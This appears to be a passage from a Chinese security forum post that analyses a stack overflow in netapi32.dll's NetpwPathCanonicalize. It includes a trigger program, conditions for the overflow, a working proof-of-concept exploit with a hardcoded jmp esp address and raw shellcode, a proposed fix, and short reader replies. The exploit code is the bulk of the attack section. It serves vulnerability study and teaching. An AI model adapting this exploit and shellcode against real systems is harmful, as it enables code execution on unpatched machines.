{
 WCHAR path[256];
 WCHAR can_path[256];
 DWORD type = 1000;
 int retval;
 HMODULE handle = LoadLibrary(".\\netapi32.dll");
 MYPROC Trigger = NULL;
 if (NULL == handle)
 {
 wprintf(L"Fail to load library!\n");
 return -1;
 }
 Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
 if (NULL == Trigger)
 {
 FreeLibrary(handle);
 wprintf(L"Fail to get api address!\n");
 return -1;
  }
 path[0] = 0;
 wcscpy(path, L"\\ccc\\aaa\\..\\..\\bbbb");
 can_path[0] = 0;
 type = 1000;
 wprintf(L"BEFORE: %s\n", path);
 retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
 wprintf(L"AFTER : %s\n", can_path);
 wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
 FreeLibrary(handle);
 getchar();
 return 0;
}

clipboard_2_

 

总结一下,成功溢出的条件有 3 个。
1)充分条件:前向搜索隔离符时,越过了 Buff_OF 指向的待处理串。
2)必要条件:合并路径中至少存在两个连续的经典目录‘..\’。
3)必要条件:合并路径中第二个‘..\’后有足够多的字符数以覆盖返回地址。


exploit编写

1、首先,要计算出wcscpy 的返回地址和 previous_slash的差值:
clipboard_16_
clipboard_21_

 

2、构造poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//书上提供的源码
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
 
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
// address of jmp esp
#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"
//shellcode
#define SHELL_CODE "\x90\x90\x90\x90"\
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{   
    WCHAR path[256];
    WCHAR can_path[256];
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibraryA(".\\netapi32.dll");
    MYPROC Trigger = NULL;
    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }
    path[0] = 0;
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path,(wchar_t*)JMP_ESP);
    wcscat(path,(wchar_t*)SHELL_CODE);
    can_path[0] = 0;
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);
    return 0;
}

3、启动程序,成功运行了:
clipboard_8_


修复方案

1、把wcscpy函数加入 security cookie 机制,以防止缓冲区溢出。
2、对RemoveLegacyFolder函数进行如下修改:

1
2
3
4
5
for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
                   ;
把j != Destination 改为 j >Destination
for (j = v4 - 1; *j != 0x5C && j > Destination; --j)
                   ;

[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

最后于 2021-5-22 18:01 被舒默哦编辑 ,原因: 更正错误
收藏
点赞6
打赏
分享
最新回复 (3)
雪    币: 46
活跃值: 活跃值 (335)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
daxia200N 活跃值 6 2021-5-24 14:55
2
1
学习了。
雪    币: 7934
活跃值: 活跃值 (6941)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2021-5-24 16:36
3
1
感谢分享
雪    币: 6845
活跃值: 活跃值 (699)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Ally Switch 活跃值 2021-5-25 11:41
4
1
舒默牛逼!
游客
登录 | 注册 方可回帖
返回